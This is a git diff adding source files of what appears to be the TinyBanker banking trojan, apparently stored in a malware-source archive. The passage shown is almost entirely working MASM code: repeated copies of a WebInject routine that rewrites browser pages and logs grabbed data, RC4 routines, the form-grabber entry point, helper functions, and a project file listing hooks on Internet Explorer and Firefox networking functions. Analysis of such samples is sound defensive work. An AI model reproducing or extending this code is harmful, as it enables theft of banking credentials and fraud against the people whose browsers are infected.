;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(5).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(5).inc new file mode 100644 index 0000000..26cfced --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(5).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\r\ndata_before\r\n", 15 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 15 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\r\ndata_inject\r\n", 15 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 15 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\r\ndata_after\r\n", 14 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 14 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(6).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(6).inc new file mode 100644 index 0000000..4481b6f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(6).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\r\nset_url ", 10 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\r\ndata_before\r\n", 15 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 15 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\r\ndata_inject\r\n", 15 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 15 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\r\ndata_after\r\n", 14 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 14 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/Crypt.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/Crypt.inc new file mode 100644 index 0000000..7424c3f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/Crypt.inc @@ -0,0 +1,22 @@ + +.code + +;; ==================================================================================================== ;; +;; Crypt ;; +;; ==================================================================================================== ;; +Crypt proc lpData, dwLen : dword + local dwlpKeyTable : dword + + + + invokx _VirtualAlloc[ebx], 0, 256, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov dwlpKeyTable, eax + + invokx &RC4SetKey[ebx], dwlpKeyTable, &sPassword[ebx], sizeof sPassword + invokx &RC4Crypt[ebx], dwlpKeyTable, lpData, dwLen + + invokx _VirtualFree[ebx], dwlpKeyTable, 0, MEM_RELEASE + + ret +Crypt endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/rc4.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/rc4.inc new file mode 100644 index 0000000..bb3e42a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/rc4.inc @@ -0,0 +1,64 @@ + +.code + +RC4SetKey proc lpKeyTable, lpPass, nPass : dword + pushad + + mov edi, lpKeyTable + xor ecx, ecx +@@: mov [edi + ecx], cl + inc ecx + cmp ecx, 256 + jne @B + + mov esi, lpPass + xor ebx, ebx + xor ecx, ecx + xor edx, edx +@@: mov al, [edi + ecx] + add bl, [esi + edx] + add bl, al + mov ah, [edi + ebx] + mov [edi + ecx], ah + mov [edi + ebx], al + inc ecx + cmp ecx, 256 + je @F + inc edx + cmp edx, nPass + jl @B + xor edx, edx + jmp @B + +@@: popad + ret +RC4SetKey endp + + + +RC4Crypt proc lpKeyTable, lpData, nData : dword + pushad + + mov edi, lpKeyTable + mov esi, lpData + xor eax, eax + xor ebx, ebx + xor ecx, ecx + xor edx, edx +@@: inc bl + mov dl, [edi + ebx] + add al, dl + mov cl, [edi + eax] + mov [edi + ebx], cl + mov [edi + eax], dl + add cl, dl + mov cl, [edi + ecx] + xor [esi], cl + inc esi + dec nData + jnz @B + + popad + ret +RC4Crypt endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/DEBUG.ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/DEBUG.ASM new file mode 100644 index 0000000..7ae11ef --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/DEBUG.ASM @@ -0,0 +1,59 @@ + +.code + +DbgInLog proc uses ecx lpText, dwSize : dword + local hFile : dword + local nWritten : dword + + + invokx _CreateFileA[ebx], 'c:\DEVELOP\DEBUG.TXT', GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 + mov hFile, eax + invokx _SetFilePointer[ebx], hFile, 0, 0, FILE_END + invokx _WriteFile[ebx], hFile, lpText, dwSize, &nWritten, 0 + invokx _CloseHandle[ebx], hFile + + ret +DbgInLog endp + + +BUFF db " " +Debug proc lpszStr, dwValue, lpMemory : dword + + invokx _lstrlenA[ebx], lpszStr + test eax, eax + jz @F + invokx &DbgInLog[ebx], lpszStr, eax +@@: invokx &DbgInLog[ebx], "\r\nCODE: ", 8 + + + lea eax, BUFF[ebx] + mov dword ptr[eax], " " + mov dword ptr[eax+4], " " + invokx &dwtoh[ebx], dwValue, &BUFF[ebx] + invokx &DbgInLog[ebx], &BUFF[ebx], 8 + + + invokx &DbgInLog[ebx], "\r\n\r\n", 4 + mov eax, lpMemory + test eax, eax + jz @F + mov edi, eax + mov ecx, [edi] ;; ecx - len of all grabbed data + add edi, 4 ;; eax - pointer to all grabbed data + + lea eax, BUFF[ebx] + mov dword ptr[eax], " " + mov dword ptr[eax+4], " " + invokx &dwtoa[ebx], ecx, &BUFF[ebx] + invokx &DbgInLog[ebx], &BUFF[ebx], 8 + invokx &DbgInLog[ebx], "\r\n", 2 + + invokx &DbgInLog[ebx], edi, ecx + + +@@: invokx &DbgInLog[ebx], "\r\n\r\n==================================================\r\n\r\n", 58 + + + ret +Debug endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/FORMGRAB.ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/FORMGRAB.ASM new file mode 100644 index 0000000..a39ddaf --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/FORMGRAB.ASM @@ -0,0 +1,33 @@ +.686 +.model flat, stdcall +option casemap : none + +; DEBUGMODE = 1 + + include INCLUDES.ASM + + +.code + +;; ==================================================================================================== ;; +;; NORMAL_START - program entry point ;; +;; ==================================================================================================== ;; +NORMAL_START proc + +; invokx WinExec, 'C:\Program Files\Internet Explorer\iexplore.exe', SW_SHOW +; invokx WinExec, 'C:\Program Files\Mozilla Firefox\firefox.exe', SW_SHOW +; invokx WinExec, 'C:\Documents and Settings\NB\Local Settings\Application Data\Google\Chrome\Application\chrome.exe', SW_SHOW +; invoke Sleep, 2000 + + xor ebx, ebx + + invoke RestoreAPIs + +; invoke Install + + invoke EnumProcs + + invokx _ExitProcess, 0 +NORMAL_START endp +end NORMAL_START + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.exe b/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.exe new file mode 100644 index 0000000..91d1f6d Binary files /dev/null and b/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.exe differ diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.rap b/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.rap new file mode 100644 index 0000000..fd393d9 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.rap @@ -0,0 +1,389 @@ +[Project] +Assembler=masm +Type=Win32 App (no res) +Description=FormGrab +Backup=$P\Bak\ +Group=1 +GroupExpand=1 +Debug=0 +[Files] +1=FORMGRAB.ASM +2=Install\GlobalInject.inc +3=macro.inc +4=Strings\ltrim.inc +5=Strings\StrIMaskMatch.inc +6=Strings\StrIPosEx.inc +7=TrCntrl\Compare.inc +8=Func\FileRead.inc +9=Logs\InLog.inc +10=INJECTED.ASM +11=Crypt\rc4.inc +12=TrCntrl\IE\GrabIEHeaders.inc +13=TrCntrl\IE\hHttpEndRequestA.inc +14=TrCntrl\IE\hHttpSendRequestExW.inc +15=TrCntrl\IE\hHttpSendRequestW.inc +16=TrCntrl\IE\hInternetCloseHandle.inc +17=TrCntrl\IE\hInternetQueryDataAvailable.inc +18=Init\InitCfg.inc +19=TrCntrl\IE\hInternetReadFile.inc +20=Func\Array.inc +21=Crypt\Crypt.inc +22=TrCntrl\IE\InternetStatusCallback.inc +23=TrCntrl\FF\CheckEOF.inc +24=Strings\strcpyn.inc +25=TrCntrl\FF\FixLen.inc +26=Strings\atodw.inc +27=TrCntrl\FF\hPR_Close.inc +28=TrCntrl\IE\hInternetReadFileExA.inc +29=API\APITable.inc +30=TrCntrl\FF\hPR_Read.inc +31=Strings\htodw.inc +32=TrCntrl\IsGrabTerm.inc +33=TrCntrl\WebInject.inc +34=INCLUDES.ASM +35=API\Catchy32.inc +36=API\HookAPI.inc +37=API\RestoreAPIs.inc +38=TrCntrl\GetInject.inc +39=TrCntrl\FF\hPR_Write.inc +40=TrCntrl\FF\GrabBrief.inc +41=Strings\StrIPos.inc +42=DEBUG.ASM +43=Strings\dwtoh.inc +44=TrCntrl\FF\FixChunk.inc +45=Strings\dwtoa.inc +46=TrCntrl\IE\hInternetWriteFile.inc +47=Init\InitArr.inc +48=TrCntrl\FF\FFWebInject.inc +49=Init\InitHooks.inc +50=Logs\Notify.inc +51=Install\Install.inc +52= +53=TrCntrl\IE\hHttpQueryInfoA.inc +54=TrCntrl\FF\FixHeaders.inc +[MakeFiles] +0=FormGrab.rap +1=FormGrab.rc +2=FormGrab.asm +3=FormGrab.obj +4=FormGrab.res +5=FormGrab.exe +6=FormGrab.def +7=FormGrab.dll +8=FormGrab.txt +9=FormGrab.lib +10=FormGrab.mak +11=FormGrab.hla +12=FormGrab.com +13=FormGrab.ocx +14=FormGrab.idl +15=FormGrab.tlb +16=FormGrab.sys +[MakeDef] +Menu=0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0 +1=4,O,$B\RC.EXE /v,1 +2=3,O,$B\ML.EXE /c /coff /Cp /nologo /I"$I",2 +3=5,O,$B\LINK.EXE /SECTION:.text|RWE /SUBSYSTEM:WINDOWS /RELEASE /VERSION:4.0 /LIBPATH:"$L" /OUT:"$5",3 +4=0,0,,5 +5=rsrc.obj,O,$B\CVTRES.EXE,rsrc.res +6=*.obj,O,$B\ML.EXE /c /coff /Cp /nologo /I"$I",*.asm +7=0,0,"$E\OllyDbg",5 +11=4,O,$B\RC.EXE /v,1 +12=3,O,$B\ML.EXE /c /coff /Cp /Zi /Zd /nologo /I"$I",2 +13=5,O,$B\LINK.EXE /SUBSYSTEM:WINDOWS /DEBUG /VERSION:4.0 /LIBPATH:"$L" /OUT:"$5",3 +14=0,0,,5 +15=rsrc.obj,O,$B\CVTRES.EXE,rsrc.res +16=*.obj,O,$B\ML.EXE /c /coff /Cp /Zi /Zd /nologo /I"$I",*.asm +17=0,0,"$E\OllyDbg",5 +[Group] +Group=Functions,..Install,..Crypt,..Init,..Func,..Logs,..Strings,..API,TrafficControl,..FF&CH,..IE,MAIN +1=12 +2=2 +3=12 +4=7 +5=7 +6=7 +7=9 +8=5 +9=6 +10=12 +11=3 +12=11 +13=11 +14=11 +15=11 +16=11 +17=11 +18=4 +19=11 +20=5 +21=3 +22=11 +23=10 +24=7 +25=10 +26=7 +27=10 +28=11 +29=8 +30=10 +31=7 +32=9 +33=9 +34=12 +35=8 +36=8 +37=8 +38=9 +39=10 +40=10 +41=7 +42=12 +43=7 +44=10 +45=7 +46=11 +47=4 +48=10 +49=4 +50=6 +51=2 +52= +53=11 +54=10 +[AutoLoad] +AutoLoad=1 +[Size] +1=0,0,0,0,796 +3=0,0,0,0,628 +2=0,0,0,0,2805 +4=0,0,0,0,984 +5=0,0,0,0,1426 +6=0,0,0,0,1408 +7=0,0,0,0,1919 +8=0,0,0,0,1825 +9=0,0,0,0,1007 +10=0,0,0,0,495 +11=0,0,0,0,860 +13=0,0,0,0,0 +12=0,0,0,0,678 +15=0,0,0,0,455 +14=0,0,0,0,536 +16=0,0,0,0,429 +17=0,0,815,418,492 +18=0,0,0,0,576 +19=0,0,815,418,636 +20=0,0,0,0,3429 +21=0,0,0,0,498 +22=0,0,0,0,543 +23=0,0,0,0,1291 +24=0,0,0,0,1122 +26=0,0,0,0,772 +25=0,0,0,0,1412 +27=0,0,0,0,365 +28=0,0,0,0,590 +29=0,0,0,0,21 +30=0,0,801,418,1058 +31=0,0,847,418,465 +32=0,0,0,0,1890 +33=0,0,897,313,1133 +34=0,0,0,0,762 +35=0,0,0,0,7215 +36=0,0,0,0,2356 +37=0,0,0,0,3610 +38=0,0,0,0,980 +39=0,0,0,0,908 +40=0,0,0,0,898 +41=0,0,0,0,1978 +42=0,0,0,0,437 +43=0,0,0,0,1071 +44=0,0,0,0,473 +45=0,0,0,0,920 +46=0,0,0,0,632 +47=0,0,0,0,806 +48=0,0,0,0,567 +49=0,0,0,0,922 +50=0,0,0,0,0 +51=0,0,0,0,688 +52= +53=0,0,0,0,437 +54=0,0,0,0,1028 +[RADebugBP] +1= +6= +4= +10= +7= +2= +3= +8= +5= +11= +9= +13= +12= +15= +14= +16= +17= +18= +19= +21= +20= +22= +23= +24= +25= +26= +28= +29= +27= +30= +31= +32= +33= +34= +36= +37= +38= +39= +40= +41= +42= +43= +44= +45= +46= +47= +48= +49= +50= +51= +52= +53= +54= +[Collapse] +3=2044 +2=3 +4= +5= +6= +7= +8= +9= +10= +11=3 +1= +13= +12= +15=3 +14= +16= +17= +18= +19= +20=7 +21= +22=3 +23= +24= +26= +25= +27= +28= +29= +30= +31= +32= +33= +34= +35= +36= +37=2 +39=48 +38= +40= +41= +42= +43= +44= +45= +46= +47= +48= +49= +50= +51= +52= +53= +54= +[VersionControl] +Settings=1246 +Milestones=129 +MilestoneEvery=10 +MilestoneEveryCurrent=0 +MilestoneOnBuild=0.0.0.0 +MilestoneOnTime=2 +MilestoneOnDate=0 +MilestoneOnDateWhen=1 +MilestoneOnDateStatus=0 +MilestoneOnDateDate=29 +MilestoneOnDateTimeYear=2010 +MilestoneOnDateTimeMonth=12 +MilestoneOnDateTimeDate=19 +MilestoneOnDateTimeHour=20 +MilestoneOnDateTimeMin=19 +MilestoneOnDateTimeSec=26 +MilestoneOnDateTimeStatus=0 +BackupLocation=C:\radasm\Masm\Projects\VCBackups\ +CompressionLevel=0 +DefaultComment=Project $N, $Z, Backup Created On $D At $T. +ExcludeExt1=\ +ExcludeExt2=\ +ExcludeExt3=\ +ExcludeExt4=\ +FileVerLength=4 +FileVer2Range=0 +FileVer3Range=0 +FileVer4Range=0 +ProductVerLength=4 +ProductVer2Range=0 +ProductVer3Range=0 +ProductVer4Range=0 +[Colref] +0=00FFFFFF +1=00FFFFFF +2=00FFFFFF +3=00FFFFFF +4=00FFFFFF +5=00FFFFFF +6=00FFFFFF +7=00FFFFFF +[PTimer] +PTimer=1540731018 +[GroupExpand] +GroupExpand=1,0,0,0,0,0,0,0,1,1,1,1,0 +[BookMark] +0= +1= +2= +3= +4= +5= +6= +7= +8= +9= +[BreakPoint] +0= +[Find] +1="esi" +2="dwContentsLen" +3="lpContents" +4="WSAData" +5="eax" +6="ecx" +7="lpWebFilterSt" +8="E_D_X" +9="edi" +10="edx" diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.undo b/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.undo new file mode 100644 index 0000000..832ed8c Binary files /dev/null and b/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.undo differ diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Func/Array.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Func/Array.inc new file mode 100644 index 0000000..2fa5e7e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Func/Array.inc @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; ArrayKeyPos - returns cell ptr of given key ;; +;; __in lpArray - pointer to array ;; +;; __in dwKey - given key ;; +;; Return: 0 - not found ;; +;; !0 - found, cell ptr of given key ;; +;; ==================================================================================================== ;; +ArrayKeyPos proc uses ecx edx lpArray, dwKey : dword + + mov eax, lpArray ;; eax - pointer to memory of array + mov ecx, ARRAYLEN ;; ecx - number of array cells + mov edx, dwKey ;; edx - needed handle + + ;; Search current key in array +@@: cmp [eax], edx + je @ret ;; key found + add eax, 8 ;; next cell + dec ecx + jnz @B + + xor eax, eax + +@ret: + ret +ArrayKeyPos endp + + + +;; ==================================================================================================== ;; +;; ArrayKeyBuff - add key and related memory buffer into array and returns its cell ptr ;; +;; if key already exists then returns its cell ptr ;; +;; __in lpArray - pointer to array ;; +;; __in dwKey - given parameter ;; +;; Return: 0 - failed ;; +;; !0 - success, cell ptr of given key ;; +;; ==================================================================================================== ;; +ArrayKeyBuff proc uses ecx edi lpArray, dwKey : dword + + invokx &ArrayKeyPos[ebx], lpArray, dwKey + jmpnz eax, @ret ;; key already exist + + invokx &ArrayKeyPos[ebx], lpArray, 0 + jmpz eax, @ret ;; free cell not found + mov edi, eax ;; store cell ptr + + invokx _VirtualAlloc[ebx], 0, BUFFERLEN, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + jmpz eax, @ret ;; failed to alloc memory + + mov ecx, dwKey + mov [edi], ecx ;; save key + mov [edi+4], eax ;; save value + + mov eax, edi ;; restore cell ptr + +@ret: + ret +ArrayKeyBuff endp + + + +;; ==================================================================================================== ;; +;; ArrayKeyDel - delete cell with given key and related memory buffer ;; +;; __in lpArray - pointer to array ;; +;; __in dwKey - given handle key ;; +;; ==================================================================================================== ;; +ArrayKeyDel proc uses ecx edx lpArray, dwKey : dword + + invokx &ArrayKeyPos[ebx], lpArray, dwKey + jmpz eax, @ret ;; key not found + + mov edx, [eax+4] ;; store cell value + + xor ecx, ecx + mov [eax+4], ecx ;; del value + mov [eax], ecx ;; del key + + jmpz edx, @ret ;; cell value is not memory ptr + + invokx _VirtualFree[ebx], edx, 0, MEM_RELEASE + +@ret: + ret +ArrayKeyDel endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Func/FileRead.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Func/FileRead.inc new file mode 100644 index 0000000..5a812de --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Func/FileRead.inc @@ -0,0 +1,68 @@ + +.code + +;; ==================================================================================================== ;; +;; FileRead - read data from file and returns memory pointer ;; +;; __in lpszFileName - pointer to filename ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to memory with file data with its len in first dword ;; +;; ==================================================================================================== ;; +FileRead proc uses edi esi lpszFileName : dword + local hFile : dword + local lpMemBuffer : dword + local dwBytesRead : dword + + + + mov lpMemBuffer, 0 + + ;; Open file lpszFileName + invokx _CreateFileA[ebx], lpszFileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 + cmp eax, INVALID_HANDLE_VALUE + je @ret + + mov hFile, eax + + + ;; Get file size + invokx _GetFileSize[ebx], hFile, 0 + cmp eax, INVALID_FILE_SIZE + je @closefile + + mov esi, eax ;; FileSize + + + ;; Alloc memory for data + add eax, 4 + invokx _VirtualAlloc[ebx], 0, eax, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + test eax, eax + jz @closefile + + ;; Store file len in first dword + mov lpMemBuffer, eax + mov edi, eax + mov eax, esi + stosd + + + ;; Read data in memory + invokx _ReadFile[ebx], hFile, edi, esi, &dwBytesRead, 0 + test eax, eax + jnz @closefile + + + ;; Free memory if ReadFile failed + invokx _VirtualFree[ebx], lpMemBuffer, 0, MEM_RELEASE + mov lpMemBuffer, 0 + + +@closefile: + invokx _CloseHandle[ebx], hFile + + +@ret: + mov eax, lpMemBuffer + ret +FileRead endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/INCLUDES.ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/INCLUDES.ASM new file mode 100644 index 0000000..0ffc7b5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/INCLUDES.ASM @@ -0,0 +1,86 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + include API\APITable.inc + include API\RestoreAPIs.inc + include API\Catchy32.inc + include API\HookAPI.inc + +; include Install\Install.inc + include Install\GlobalInject.inc + + include Func\Array.inc + include Func\FileRead.inc + + include Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include 